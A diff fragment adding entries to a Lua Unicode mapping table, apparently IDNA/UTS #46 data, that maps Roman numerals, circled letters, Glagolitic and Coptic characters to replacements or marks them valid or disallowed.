+ [0x2163] = {0x0069, 0x0076}, -- ROMAN NUMERAL FOUR
+ [0x2164] = 0x0076, -- ROMAN NUMERAL FIVE
+ [0x2165] = {0x0076, 0x0069}, -- ROMAN NUMERAL SIX
+ [0x2166] = {0x0076, 0x0069, 0x0069}, -- ROMAN NUMERAL SEVEN
+ [0x2167] = {0x0076, 0x0069, 0x0069, 0x0069}, -- ROMAN NUMERAL EIGHT
+ [0x2168] = {0x0069, 0x0078}, -- ROMAN NUMERAL NINE
+ [0x2169] = 0x0078, -- ROMAN NUMERAL TEN
+ [0x216A] = {0x0078, 0x0069}, -- ROMAN NUMERAL ELEVEN
+ [0x216B] = {0x0078, 0x0069, 0x0069}, -- ROMAN NUMERAL TWELVE
+ [0x216C] = 0x006C, -- ROMAN NUMERAL FIFTY
+ [0x216D] = 0x0063, -- ROMAN NUMERAL ONE HUNDRED
+ [0x216E] = 0x0064, -- ROMAN NUMERAL FIVE HUNDRED
+ [0x216F] = 0x006D, -- ROMAN NUMERAL ONE THOUSAND
+ [0x2170] = 0x0069, -- SMALL ROMAN NUMERAL ONE
+ [0x2171] = {0x0069, 0x0069}, -- SMALL ROMAN NUMERAL TWO
+ [0x2172] = {0x0069, 0x0069, 0x0069}, -- SMALL ROMAN NUMERAL THREE
+ [0x2173] = {0x0069, 0x0076}, -- SMALL ROMAN NUMERAL FOUR
+ [0x2174] = 0x0076, -- SMALL ROMAN NUMERAL FIVE
+ [0x2175] = {0x0076, 0x0069}, -- SMALL ROMAN NUMERAL SIX
+ [0x2176] = {0x0076, 0x0069, 0x0069}, -- SMALL ROMAN NUMERAL SEVEN
+ [0x2177] = {0x0076, 0x0069, 0x0069, 0x0069}, -- SMALL ROMAN NUMERAL EIGHT
+ [0x2178] = {0x0069, 0x0078}, -- SMALL ROMAN NUMERAL NINE
+ [0x2179] = 0x0078, -- SMALL ROMAN NUMERAL TEN
+ [0x217A] = {0x0078, 0x0069}, -- SMALL ROMAN NUMERAL ELEVEN
+ [0x217B] = {0x0078, 0x0069, 0x0069}, -- SMALL ROMAN NUMERAL TWELVE
+ [0x217C] = 0x006C, -- SMALL ROMAN NUMERAL FIFTY
+ [0x217D] = 0x0063, -- SMALL ROMAN NUMERAL ONE HUNDRED
+ [0x217E] = 0x0064, -- SMALL ROMAN NUMERAL FIVE HUNDRED
+ [0x217F] = 0x006D, -- SMALL ROMAN NUMERAL ONE THOUSAND
+ -- PROPERTY LINE..TURNED AMPERSAND
+ [0x214A] = {status="disallowed"},
+ [0x214B] = {status="disallowed"},
+ [0x2183] = {status="disallowed"}, -- ROMAN NUMERAL REVERSED ONE HUNDRED
+ [0x2184] = {status="valid"}, -- LATIN SMALL LETTER REVERSED C
+ -- ROMAN NUMERAL ONE THOUSAND C D..ROMAN NUMERAL TEN THOUSAND
+ [0x2180] = {status="disallowed"},
+ [0x2181] = {status="disallowed"},
+ [0x2182] = {status="disallowed"},
+ [0x2189] = {0x0030, 0x2044, 0x0033}, -- VULGAR FRACTION ZERO THIRDS
+ -- ROMAN NUMERAL SIX LATE FORM..ROMAN NUMERAL ONE HUNDRED THOUSAND
+ [0x2185] = {status="disallowed"},
+ [0x2186] = {status="disallowed"},
+ [0x2187] = {status="disallowed"},
+ [0x2188] = {status="disallowed"},
+ -- TURNED DIGIT TWO..TURNED DIGIT THREE
+ [0x218A] = {status="disallowed"},
+ [0x218B] = {status="disallowed"},
+ -- NA <reserved-218C>..<reserved-218F>
+ [0x218C] = {status="disallowed"},
+ [0x218D] = {status="disallowed"},
+ [0x218E] = {status="disallowed"},
+ [0x218F] = {status="disallowed"},
+ [0x222C] = {0x222B, 0x222B}, -- DOUBLE INTEGRAL
+ [0x222D] = {0x222B, 0x222B, 0x222B}, -- TRIPLE INTEGRAL
+ [0x222E] = {status="disallowed"}, -- CONTOUR INTEGRAL
+ [0x222F] = {0x222E, 0x222E}, -- SURFACE INTEGRAL
+ [0x2230] = {0x222E, 0x222E, 0x222E}, -- VOLUME INTEGRAL
+ [0x2260] = {status="disallowed"}, -- NOT EQUAL TO
+ -- NOT LESS-THAN..NOT GREATER-THAN
+ [0x226E] = {status="disallowed"},
+ [0x226F] = {status="disallowed"},
+ [0x2300] = {status="disallowed"}, -- DIAMETER SIGN
+ [0x2301] = {status="disallowed"}, -- ELECTRIC ARROW
+ [0x2329] = 0x3008, -- LEFT-POINTING ANGLE BRACKET
+ [0x232A] = 0x3009, -- RIGHT-POINTING ANGLE BRACKET
+ [0x237B] = {status="disallowed"}, -- NOT CHECK MARK
+ [0x237C] = {status="disallowed"}, -- RIGHT ANGLE WITH DOWNWARDS ZIGZAG ARROW
+ [0x23E8] = {status="disallowed"}, -- DECIMAL EXPONENT SYMBOL
+ [0x23FF] = {status="disallowed"}, -- OBSERVER EYE SYMBOL
+ [0x2460] = 0x0031, -- CIRCLED DIGIT ONE
+ [0x2461] = 0x0032, -- CIRCLED DIGIT TWO
+ [0x2462] = 0x0033, -- CIRCLED DIGIT THREE
+ [0x2463] = 0x0034, -- CIRCLED DIGIT FOUR
+ [0x2464] = 0x0035, -- CIRCLED DIGIT FIVE
+ [0x2465] = 0x0036, -- CIRCLED DIGIT SIX
+ [0x2466] = 0x0037, -- CIRCLED DIGIT SEVEN
+ [0x2467] = 0x0038, -- CIRCLED DIGIT EIGHT
+ [0x2468] = 0x0039, -- CIRCLED DIGIT NINE
+ [0x2469] = {0x0031, 0x0030}, -- CIRCLED NUMBER TEN
+ [0x246A] = {0x0031, 0x0031}, -- CIRCLED NUMBER ELEVEN
+ [0x246B] = {0x0031, 0x0032}, -- CIRCLED NUMBER TWELVE
+ [0x246C] = {0x0031, 0x0033}, -- CIRCLED NUMBER THIRTEEN
+ [0x246D] = {0x0031, 0x0034}, -- CIRCLED NUMBER FOURTEEN
+ [0x246E] = {0x0031, 0x0035}, -- CIRCLED NUMBER FIFTEEN
+ [0x246F] = {0x0031, 0x0036}, -- CIRCLED NUMBER SIXTEEN
+ [0x2470] = {0x0031, 0x0037}, -- CIRCLED NUMBER SEVENTEEN
+ [0x2471] = {0x0031, 0x0038}, -- CIRCLED NUMBER EIGHTEEN
+ [0x2472] = {0x0031, 0x0039}, -- CIRCLED NUMBER NINETEEN
+ [0x2473] = {0x0032, 0x0030}, -- CIRCLED NUMBER TWENTY
+ [0x2474] = {status="disallowed"}, -- PARENTHESIZED DIGIT ONE
+ [0x2475] = {status="disallowed"}, -- PARENTHESIZED DIGIT TWO
+ [0x2476] = {status="disallowed"}, -- PARENTHESIZED DIGIT THREE
+ [0x2477] = {status="disallowed"}, -- PARENTHESIZED DIGIT FOUR
+ [0x2478] = {status="disallowed"}, -- PARENTHESIZED DIGIT FIVE
+ [0x2479] = {status="disallowed"}, -- PARENTHESIZED DIGIT SIX
+ [0x247A] = {status="disallowed"}, -- PARENTHESIZED DIGIT SEVEN
+ [0x247B] = {status="disallowed"}, -- PARENTHESIZED DIGIT EIGHT
+ [0x247C] = {status="disallowed"}, -- PARENTHESIZED DIGIT NINE
+ [0x247D] = {status="disallowed"}, -- PARENTHESIZED NUMBER TEN
+ [0x247E] = {status="disallowed"}, -- PARENTHESIZED NUMBER ELEVEN
+ [0x247F] = {status="disallowed"}, -- PARENTHESIZED NUMBER TWELVE
+ [0x2480] = {status="disallowed"}, -- PARENTHESIZED NUMBER THIRTEEN
+ [0x2481] = {status="disallowed"}, -- PARENTHESIZED NUMBER FOURTEEN
+ [0x2482] = {status="disallowed"}, -- PARENTHESIZED NUMBER FIFTEEN
+ [0x2483] = {status="disallowed"}, -- PARENTHESIZED NUMBER SIXTEEN
+ [0x2484] = {status="disallowed"}, -- PARENTHESIZED NUMBER SEVENTEEN
+ [0x2485] = {status="disallowed"}, -- PARENTHESIZED NUMBER EIGHTEEN
+ [0x2486] = {status="disallowed"}, -- PARENTHESIZED NUMBER NINETEEN
+ [0x2487] = {status="disallowed"}, -- PARENTHESIZED NUMBER TWENTY
+ [0x249C] = {status="disallowed"}, -- PARENTHESIZED LATIN SMALL LETTER A
+ [0x249D] = {status="disallowed"}, -- PARENTHESIZED LATIN SMALL LETTER B
+ [0x249E] = {status="disallowed"}, -- PARENTHESIZED LATIN SMALL LETTER C
+ [0x249F] = {status="disallowed"}, -- PARENTHESIZED LATIN SMALL LETTER D
+ [0x24A0] = {status="disallowed"}, -- PARENTHESIZED LATIN SMALL LETTER E
+ [0x24A1] = {status="disallowed"}, -- PARENTHESIZED LATIN SMALL LETTER F
+ [0x24A2] = {status="disallowed"}, -- PARENTHESIZED LATIN SMALL LETTER G
+ [0x24A3] = {status="disallowed"}, -- PARENTHESIZED LATIN SMALL LETTER H
+ [0x24A4] = {status="disallowed"}, -- PARENTHESIZED LATIN SMALL LETTER I
+ [0x24A5] = {status="disallowed"}, -- PARENTHESIZED LATIN SMALL LETTER J
+ [0x24A6] = {status="disallowed"}, -- PARENTHESIZED LATIN SMALL LETTER K
+ [0x24A7] = {status="disallowed"}, -- PARENTHESIZED LATIN SMALL LETTER L
+ [0x24A8] = {status="disallowed"}, -- PARENTHESIZED LATIN SMALL LETTER M
+ [0x24A9] = {status="disallowed"}, -- PARENTHESIZED LATIN SMALL LETTER N
+ [0x24AA] = {status="disallowed"}, -- PARENTHESIZED LATIN SMALL LETTER O
+ [0x24AB] = {status="disallowed"}, -- PARENTHESIZED LATIN SMALL LETTER P
+ [0x24AC] = {status="disallowed"}, -- PARENTHESIZED LATIN SMALL LETTER Q
+ [0x24AD] = {status="disallowed"}, -- PARENTHESIZED LATIN SMALL LETTER R
+ [0x24AE] = {status="disallowed"}, -- PARENTHESIZED LATIN SMALL LETTER S
+ [0x24AF] = {status="disallowed"}, -- PARENTHESIZED LATIN SMALL LETTER T
+ [0x24B0] = {status="disallowed"}, -- PARENTHESIZED LATIN SMALL LETTER U
+ [0x24B1] = {status="disallowed"}, -- PARENTHESIZED LATIN SMALL LETTER V
+ [0x24B2] = {status="disallowed"}, -- PARENTHESIZED LATIN SMALL LETTER W
+ [0x24B3] = {status="disallowed"}, -- PARENTHESIZED LATIN SMALL LETTER X
+ [0x24B4] = {status="disallowed"}, -- PARENTHESIZED LATIN SMALL LETTER Y
+ [0x24B5] = {status="disallowed"}, -- PARENTHESIZED LATIN SMALL LETTER Z
+ [0x24B6] = 0x0061, -- CIRCLED LATIN CAPITAL LETTER A
+ [0x24B7] = 0x0062, -- CIRCLED LATIN CAPITAL LETTER B
+ [0x24B8] = 0x0063, -- CIRCLED LATIN CAPITAL LETTER C
+ [0x24B9] = 0x0064, -- CIRCLED LATIN CAPITAL LETTER D
+ [0x24BA] = 0x0065, -- CIRCLED LATIN CAPITAL LETTER E
+ [0x24BB] = 0x0066, -- CIRCLED LATIN CAPITAL LETTER F
+ [0x24BC] = 0x0067, -- CIRCLED LATIN CAPITAL LETTER G
+ [0x24BD] = 0x0068, -- CIRCLED LATIN CAPITAL LETTER H
+ [0x24BE] = 0x0069, -- CIRCLED LATIN CAPITAL LETTER I
+ [0x24BF] = 0x006A, -- CIRCLED LATIN CAPITAL LETTER J
+ [0x24C0] = 0x006B, -- CIRCLED LATIN CAPITAL LETTER K
+ [0x24C1] = 0x006C, -- CIRCLED LATIN CAPITAL LETTER L
+ [0x24C2] = 0x006D, -- CIRCLED LATIN CAPITAL LETTER M
+ [0x24C3] = 0x006E, -- CIRCLED LATIN CAPITAL LETTER N
+ [0x24C4] = 0x006F, -- CIRCLED LATIN CAPITAL LETTER O
+ [0x24C5] = 0x0070, -- CIRCLED LATIN CAPITAL LETTER P
+ [0x24C6] = 0x0071, -- CIRCLED LATIN CAPITAL LETTER Q
+ [0x24C7] = 0x0072, -- CIRCLED LATIN CAPITAL LETTER R
+ [0x24C8] = 0x0073, -- CIRCLED LATIN CAPITAL LETTER S
+ [0x24C9] = 0x0074, -- CIRCLED LATIN CAPITAL LETTER T
+ [0x24CA] = 0x0075, -- CIRCLED LATIN CAPITAL LETTER U
+ [0x24CB] = 0x0076, -- CIRCLED LATIN CAPITAL LETTER V
+ [0x24CC] = 0x0077, -- CIRCLED LATIN CAPITAL LETTER W
+ [0x24CD] = 0x0078, -- CIRCLED LATIN CAPITAL LETTER X
+ [0x24CE] = 0x0079, -- CIRCLED LATIN CAPITAL LETTER Y
+ [0x24CF] = 0x007A, -- CIRCLED LATIN CAPITAL LETTER Z
+ [0x24D0] = 0x0061, -- CIRCLED LATIN SMALL LETTER A
+ [0x24D1] = 0x0062, -- CIRCLED LATIN SMALL LETTER B
+ [0x24D2] = 0x0063, -- CIRCLED LATIN SMALL LETTER C
+ [0x24D3] = 0x0064, -- CIRCLED LATIN SMALL LETTER D
+ [0x24D4] = 0x0065, -- CIRCLED LATIN SMALL LETTER E
+ [0x24D5] = 0x0066, -- CIRCLED LATIN SMALL LETTER F
+ [0x24D6] = 0x0067, -- CIRCLED LATIN SMALL LETTER G
+ [0x24D7] = 0x0068, -- CIRCLED LATIN SMALL LETTER H
+ [0x24D8] = 0x0069, -- CIRCLED LATIN SMALL LETTER I
+ [0x24D9] = 0x006A, -- CIRCLED LATIN SMALL LETTER J
+ [0x24DA] = 0x006B, -- CIRCLED LATIN SMALL LETTER K
+ [0x24DB] = 0x006C, -- CIRCLED LATIN SMALL LETTER L
+ [0x24DC] = 0x006D, -- CIRCLED LATIN SMALL LETTER M
+ [0x24DD] = 0x006E, -- CIRCLED LATIN SMALL LETTER N
+ [0x24DE] = 0x006F, -- CIRCLED LATIN SMALL LETTER O
+ [0x24DF] = 0x0070, -- CIRCLED LATIN SMALL LETTER P
+ [0x24E0] = 0x0071, -- CIRCLED LATIN SMALL LETTER Q
+ [0x24E1] = 0x0072, -- CIRCLED LATIN SMALL LETTER R
+ [0x24E2] = 0x0073, -- CIRCLED LATIN SMALL LETTER S
+ [0x24E3] = 0x0074, -- CIRCLED LATIN SMALL LETTER T
+ [0x24E4] = 0x0075, -- CIRCLED LATIN SMALL LETTER U
+ [0x24E5] = 0x0076, -- CIRCLED LATIN SMALL LETTER V
+ [0x24E6] = 0x0077, -- CIRCLED LATIN SMALL LETTER W
+ [0x24E7] = 0x0078, -- CIRCLED LATIN SMALL LETTER X
+ [0x24E8] = 0x0079, -- CIRCLED LATIN SMALL LETTER Y
+ [0x24E9] = 0x007A, -- CIRCLED LATIN SMALL LETTER Z
+ [0x24EA] = 0x0030, -- CIRCLED DIGIT ZERO
+ [0x24FF] = {status="disallowed"}, -- NEGATIVE CIRCLED DIGIT ZERO
+ [0x2618] = {status="disallowed"}, -- SHAMROCK
+ [0x2619] = {status="disallowed"}, -- REVERSED ROTATED FLORAL HEART BULLET
+ [0x269D] = {status="disallowed"}, -- OUTLINED WHITE STAR
+ [0x26B2] = {status="disallowed"}, -- NEUTER
+ [0x26CE] = {status="disallowed"}, -- OPHIUCHUS
+ [0x26E2] = {status="disallowed"}, -- ASTRONOMICAL SYMBOL FOR URANUS
+ [0x26E3] = {status="disallowed"}, -- HEAVY CIRCLE WITH STROKE AND TWO DOTS ABOVE
+ [0x2700] = {status="disallowed"}, -- BLACK SAFETY SCISSORS
+ [0x2705] = {status="disallowed"}, -- WHITE HEAVY CHECK MARK
+ -- UPPER BLADE SCISSORS..WHITE SCISSORS
+ [0x2701] = {status="disallowed"},
+ [0x2702] = {status="disallowed"},
+ [0x2703] = {status="disallowed"},
+ [0x2704] = {status="disallowed"},
+ [0x2728] = {status="disallowed"}, -- SPARKLES
+ [0x274C] = {status="disallowed"}, -- CROSS MARK
+ [0x274D] = {status="disallowed"}, -- SHADOWED WHITE CIRCLE
+ [0x274E] = {status="disallowed"}, -- NEGATIVE SQUARED CROSS MARK
+ [0x2756] = {status="disallowed"}, -- BLACK DIAMOND MINUS WHITE X
+ [0x2757] = {status="disallowed"}, -- HEAVY EXCLAMATION MARK SYMBOL
+ [0x27B0] = {status="disallowed"}, -- CURLY LOOP
+ [0x27BF] = {status="disallowed"}, -- DOUBLE CURLY LOOP
+ [0x27CB] = {status="disallowed"}, -- MATHEMATICAL RISING DIAGONAL
+ [0x27CC] = {status="disallowed"}, -- LONG DIVISION
+ [0x27CD] = {status="disallowed"}, -- MATHEMATICAL FALLING DIAGONAL
+ [0x2A0C] = {0x222B, 0x222B, 0x222B, 0x222B}, -- QUADRUPLE INTEGRAL OPERATOR
+ [0x2A74] = {status="disallowed"}, -- DOUBLE COLON EQUAL
+ [0x2A75] = {status="disallowed"}, -- TWO CONSECUTIVE EQUALS SIGNS
+ [0x2A76] = {status="disallowed"}, -- THREE CONSECUTIVE EQUALS SIGNS
+ [0x2ADC] = {0x2ADD, 0x0338}, -- FORKING
+ -- NA <reserved-2B74>..<reserved-2B75>
+ [0x2B74] = {status="disallowed"},
+ [0x2B75] = {status="disallowed"},
+ -- NA <reserved-2B96>..<reserved-2B97>
+ [0x2B96] = {status="disallowed"},
+ [0x2B97] = {status="disallowed"},
+ -- NA <reserved-2BBA>..<reserved-2BBC>
+ [0x2BBA] = {status="disallowed"},
+ [0x2BBB] = {status="disallowed"},
+ [0x2BBC] = {status="disallowed"},
+ [0x2BC9] = {status="disallowed"}, -- NA <reserved-2BC9>
+ [0x2BD2] = {status="disallowed"}, -- GROUP MARK
+ -- LEFTWARDS TWO-HEADED ARROW WITH TRIANGLE ARROWHEADS..DOWNWARDS TWO-HEADED ARROW WITH TRIANGLE ARROWHEADS
+ [0x2BEC] = {status="disallowed"},
+ [0x2BED] = {status="disallowed"},
+ [0x2BEE] = {status="disallowed"},
+ [0x2BEF] = {status="disallowed"},
+ [0x2C00] = 0x2C30, -- GLAGOLITIC CAPITAL LETTER AZU
+ [0x2C01] = 0x2C31, -- GLAGOLITIC CAPITAL LETTER BUKY
+ [0x2C02] = 0x2C32, -- GLAGOLITIC CAPITAL LETTER VEDE
+ [0x2C03] = 0x2C33, -- GLAGOLITIC CAPITAL LETTER GLAGOLI
+ [0x2C04] = 0x2C34, -- GLAGOLITIC CAPITAL LETTER DOBRO
+ [0x2C05] = 0x2C35, -- GLAGOLITIC CAPITAL LETTER YESTU
+ [0x2C06] = 0x2C36, -- GLAGOLITIC CAPITAL LETTER ZHIVETE
+ [0x2C07] = 0x2C37, -- GLAGOLITIC CAPITAL LETTER DZELO
+ [0x2C08] = 0x2C38, -- GLAGOLITIC CAPITAL LETTER ZEMLJA
+ [0x2C09] = 0x2C39, -- GLAGOLITIC CAPITAL LETTER IZHE
+ [0x2C0A] = 0x2C3A, -- GLAGOLITIC CAPITAL LETTER INITIAL IZHE
+ [0x2C0B] = 0x2C3B, -- GLAGOLITIC CAPITAL LETTER I
+ [0x2C0C] = 0x2C3C, -- GLAGOLITIC CAPITAL LETTER DJERVI
+ [0x2C0D] = 0x2C3D, -- GLAGOLITIC CAPITAL LETTER KAKO
+ [0x2C0E] = 0x2C3E, -- GLAGOLITIC CAPITAL LETTER LJUDIJE
+ [0x2C0F] = 0x2C3F, -- GLAGOLITIC CAPITAL LETTER MYSLITE
+ [0x2C10] = 0x2C40, -- GLAGOLITIC CAPITAL LETTER NASHI
+ [0x2C11] = 0x2C41, -- GLAGOLITIC CAPITAL LETTER ONU
+ [0x2C12] = 0x2C42, -- GLAGOLITIC CAPITAL LETTER POKOJI
+ [0x2C13] = 0x2C43, -- GLAGOLITIC CAPITAL LETTER RITSI
+ [0x2C14] = 0x2C44, -- GLAGOLITIC CAPITAL LETTER SLOVO
+ [0x2C15] = 0x2C45, -- GLAGOLITIC CAPITAL LETTER TVRIDO
+ [0x2C16] = 0x2C46, -- GLAGOLITIC CAPITAL LETTER UKU
+ [0x2C17] = 0x2C47, -- GLAGOLITIC CAPITAL LETTER FRITU
+ [0x2C18] = 0x2C48, -- GLAGOLITIC CAPITAL LETTER HERU
+ [0x2C19] = 0x2C49, -- GLAGOLITIC CAPITAL LETTER OTU
+ [0x2C1A] = 0x2C4A, -- GLAGOLITIC CAPITAL LETTER PE
+ [0x2C1B] = 0x2C4B, -- GLAGOLITIC CAPITAL LETTER SHTA
+ [0x2C1C] = 0x2C4C, -- GLAGOLITIC CAPITAL LETTER TSI
+ [0x2C1D] = 0x2C4D, -- GLAGOLITIC CAPITAL LETTER CHRIVI
+ [0x2C1E] = 0x2C4E, -- GLAGOLITIC CAPITAL LETTER SHA
+ [0x2C1F] = 0x2C4F, -- GLAGOLITIC CAPITAL LETTER YERU
+ [0x2C20] = 0x2C50, -- GLAGOLITIC CAPITAL LETTER YERI
+ [0x2C21] = 0x2C51, -- GLAGOLITIC CAPITAL LETTER YATI
+ [0x2C22] = 0x2C52, -- GLAGOLITIC CAPITAL LETTER SPIDERY HA
+ [0x2C23] = 0x2C53, -- GLAGOLITIC CAPITAL LETTER YU
+ [0x2C24] = 0x2C54, -- GLAGOLITIC CAPITAL LETTER SMALL YUS
+ [0x2C25] = 0x2C55, -- GLAGOLITIC CAPITAL LETTER SMALL YUS WITH TAIL
+ [0x2C26] = 0x2C56, -- GLAGOLITIC CAPITAL LETTER YO
+ [0x2C27] = 0x2C57, -- GLAGOLITIC CAPITAL LETTER IOTATED SMALL YUS
+ [0x2C28] = 0x2C58, -- GLAGOLITIC CAPITAL LETTER BIG YUS
+ [0x2C29] = 0x2C59, -- GLAGOLITIC CAPITAL LETTER IOTATED BIG YUS
+ [0x2C2A] = 0x2C5A, -- GLAGOLITIC CAPITAL LETTER FITA
+ [0x2C2B] = 0x2C5B, -- GLAGOLITIC CAPITAL LETTER IZHITSA
+ [0x2C2C] = 0x2C5C, -- GLAGOLITIC CAPITAL LETTER SHTAPIC
+ [0x2C2D] = 0x2C5D, -- GLAGOLITIC CAPITAL LETTER TROKUTASTI A
+ [0x2C2E] = 0x2C5E, -- GLAGOLITIC CAPITAL LETTER LATINATE MYSLITE
+ [0x2C2F] = {status="disallowed"}, -- NA <reserved-2C2F>
+ [0x2C5F] = {status="disallowed"}, -- NA <reserved-2C5F>
+ [0x2C60] = 0x2C61, -- LATIN CAPITAL LETTER L WITH DOUBLE BAR
+ [0x2C61] = {status="valid"}, -- LATIN SMALL LETTER L WITH DOUBLE BAR
+ [0x2C62] = 0x026B, -- LATIN CAPITAL LETTER L WITH MIDDLE TILDE
+ [0x2C63] = 0x1D7D, -- LATIN CAPITAL LETTER P WITH STROKE
+ [0x2C64] = 0x027D, -- LATIN CAPITAL LETTER R WITH TAIL
+ [0x2C67] = 0x2C68, -- LATIN CAPITAL LETTER H WITH DESCENDER
+ [0x2C68] = {status="valid"}, -- LATIN SMALL LETTER H WITH DESCENDER
+ [0x2C69] = 0x2C6A, -- LATIN CAPITAL LETTER K WITH DESCENDER
+ [0x2C6A] = {status="valid"}, -- LATIN SMALL LETTER K WITH DESCENDER
+ [0x2C6B] = 0x2C6C, -- LATIN CAPITAL LETTER Z WITH DESCENDER
+ [0x2C6C] = {status="valid"}, -- LATIN SMALL LETTER Z WITH DESCENDER
+ [0x2C6D] = 0x0251, -- LATIN CAPITAL LETTER ALPHA
+ [0x2C6E] = 0x0271, -- LATIN CAPITAL LETTER M WITH HOOK
+ [0x2C6F] = 0x0250, -- LATIN CAPITAL LETTER TURNED A
+ [0x2C70] = 0x0252, -- LATIN CAPITAL LETTER TURNED ALPHA
+ [0x2C71] = {status="valid"}, -- LATIN SMALL LETTER V WITH RIGHT HOOK
+ [0x2C72] = 0x2C73, -- LATIN CAPITAL LETTER W WITH HOOK
+ [0x2C73] = {status="valid"}, -- LATIN SMALL LETTER W WITH HOOK
+ [0x2C74] = {status="valid"}, -- LATIN SMALL LETTER V WITH CURL
+ [0x2C75] = 0x2C76, -- LATIN CAPITAL LETTER HALF H
+ -- LATIN SMALL LETTER A WITH STROKE..LATIN SMALL LETTER T WITH DIAGONAL STROKE
+ [0x2C65] = {status="valid"},
+ [0x2C66] = {status="valid"},
+ [0x2C7C] = 0x006A, -- LATIN SUBSCRIPT SMALL LETTER J
+ [0x2C7D] = 0x0076, -- MODIFIER LETTER CAPITAL V
+ [0x2C7E] = 0x023F, -- LATIN CAPITAL LETTER S WITH SWASH TAIL
+ [0x2C7F] = 0x0240, -- LATIN CAPITAL LETTER Z WITH SWASH TAIL
+ [0x2C80] = 0x2C81, -- COPTIC CAPITAL LETTER ALFA
+ [0x2C81] = {status="valid"}, -- COPTIC SMALL LETTER ALFA
+ [0x2C82] = 0x2C83, -- COPTIC CAPITAL LETTER VIDA
+ [0x2C83] = {status="valid"}, -- COPTIC SMALL LETTER VIDA
+ [0x2C84] = 0x2C85, -- COPTIC CAPITAL LETTER GAMMA
+ [0x2C85] = {status="valid"}, -- COPTIC SMALL LETTER GAMMA
+ [0x2C86] = 0x2C87, -- COPTIC CAPITAL LETTER DALDA
+ [0x2C87] = {status="valid"}, -- COPTIC SMALL LETTER DALDA
+ [0x2C88] = 0x2C89, -- COPTIC CAPITAL LETTER EIE
+ [0x2C89] = {status="valid"}, -- COPTIC SMALL LETTER EIE
+ [0x2C8A] = 0x2C8B, -- COPTIC CAPITAL LETTER SOU
+ [0x2C8B] = {status="valid"}, -- COPTIC SMALL LETTER SOU
+ [0x2C8C] = 0x2C8D, -- COPTIC CAPITAL LETTER ZATA
+ [0x2C8D] = {status="valid"}, -- COPTIC SMALL LETTER ZATA
+ [0x2C8E] = 0x2C8F, -- COPTIC CAPITAL LETTER HATE
+ [0x2C8F] = {status="valid"}, -- COPTIC SMALL LETTER HATE
+ [0x2C90] = 0x2C91, -- COPTIC CAPITAL LETTER THETHE
+ [0x2C91] = {status="valid"}, -- COPTIC SMALL LETTER THETHE
+ [0x2C92] = 0x2C93, -- COPTIC CAPITAL LETTER IAUDA
+ [0x2C93] = {status="valid"}, -- COPTIC SMALL LETTER IAUDA
+ [0x2C94] = 0x2C95, -- COPTIC CAPITAL LETTER KAPA
+ [0x2C95] = {status="valid"}, -- COPTIC SMALL LETTER KAPA
+ [0x2C96] = 0x2C97, -- COPTIC CAPITAL LETTER LAULA
+ [0x2C97] = {status="valid"}, -- COPTIC SMALL LETTER LAULA
+ [0x2C98] = 0x2C99, -- COPTIC CAPITAL LETTER MI
+ [0x2C99] = {status="valid"}, -- COPTIC SMALL LETTER MI
+ [0x2C9A] = 0x2C9B, -- COPTIC CAPITAL LETTER NI
+ [0x2C9B] = {status="valid"}, -- COPTIC SMALL LETTER NI
+ [0x2C9C] = 0x2C9D, -- COPTIC CAPITAL LETTER KSI
+ [0x2C9D] = {status="valid"}, -- COPTIC SMALL LETTER KSI
+ [0x2C9E] = 0x2C9F, -- COPTIC CAPITAL LETTER O
+ [0x2C9F] = {status="valid"}, -- COPTIC SMALL LETTER O
+ [0x2CA0] = 0x2CA1, -- COPTIC CAPITAL LETTER PI
+ [0x2CA1] = {status="valid"}, -- COPTIC SMALL LETTER PI
+ [0x2CA2] = 0x2CA3, -- COPTIC CAPITAL LETTER RO
+ [0x2CA3] = {status="valid"}, -- COPTIC SMALL LETTER RO
+ [0x2CA4] = 0x2CA5, -- COPTIC CAPITAL LETTER SIMA
+ [0x2CA5] = {status="valid"}, -- COPTIC SMALL LETTER SIMA
+ [0x2CA6] = 0x2CA7, -- COPTIC CAPITAL LETTER TAU
+ [0x2CA7] = {status="valid"}, -- COPTIC SMALL LETTER TAU
+ [0x2CA8] = 0x2CA9, -- COPTIC CAPITAL LETTER UA
+ [0x2CA9] = {status="valid"}, -- COPTIC SMALL LETTER UA
+ [0x2CAA] = 0x2CAB, -- COPTIC CAPITAL LETTER FI
+ [0x2CAB] = {status="valid"}, -- COPTIC SMALL LETTER FI
+ [0x2CAC] = 0x2CAD, -- COPTIC CAPITAL LETTER KHI
+ [0x2CAD] = {status="valid"}, -- COPTIC SMALL LETTER KHI
+ [0x2CAE] = 0x2CAF, -- COPTIC CAPITAL LETTER PSI
+ [0x2CAF] = {status="valid"}, -- COPTIC SMALL LETTER PSI
+ [0x2CB0] = 0x2CB1, -- COPTIC CAPITAL LETTER OOU
+ [0x2CB1] = {status="valid"}, -- COPTIC SMALL LETTER OOU
+ [0x2CB2] = 0x2CB3, -- COPTIC CAPITAL LETTER DIALECT-P ALEF
+ [0x2CB3] = {status="valid"}, -- COPTIC SMALL LETTER DIALECT-P ALEF
+ [0x2CB4] = 0x2CB5, -- COPTIC CAPITAL LETTER OLD COPTIC AIN
+ [0x2CB5] = {status="valid"}, -- COPTIC SMALL LETTER OLD COPTIC AIN
+ [0x2CB6] = 0x2CB7, -- COPTIC CAPITAL LETTER CRYPTOGRAMMIC EIE
+ [0x2CB7] = {status="valid"}, -- COPTIC SMALL LETTER CRYPTOGRAMMIC EIE
+ [0x2CB8] = 0x2CB9, -- COPTIC CAPITAL LETTER DIALECT-P KAPA
+ [0x2CB9] = {status="valid"}, -- COPTIC SMALL LETTER DIALECT-P KAPA
+ [0x2CBA] = 0x2CBB, -- COPTIC CAPITAL LETTER DIALECT-P NI
+ [0x2CBB] = {status="valid"}, -- COPTIC SMALL LETTER DIALECT-P NI
+ [0x2CBC] = 0x2CBD, -- COPTIC CAPITAL LETTER CRYPTOGRAMMIC NI
+ [0x2CBD] = {status="valid"}, -- COPTIC SMALL LETTER CRYPTOGRAMMIC NI
+ [0x2CBE] = 0x2CBF, -- COPTIC CAPITAL LETTER OLD COPTIC OOU
+ [0x2CBF] = {status="valid"}, -- COPTIC SMALL LETTER OLD COPTIC OOU
+ [0x2CC0] = 0x2CC1, -- COPTIC CAPITAL LETTER SAMPI
+ [0x2CC1] = {status="valid"}, -- COPTIC SMALL LETTER SAMPI
+ [0x2CC2] = 0x2CC3, -- COPTIC CAPITAL LETTER CROSSED SHEI
+ [0x2CC3] = {status="valid"}, -- COPTIC SMALL LETTER CROSSED SHEI
+ [0x2CC4] = 0x2CC5, -- COPTIC CAPITAL LETTER OLD COPTIC SHEI
+ [0x2CC5] = {status="valid"}, -- COPTIC SMALL LETTER OLD COPTIC SHEI
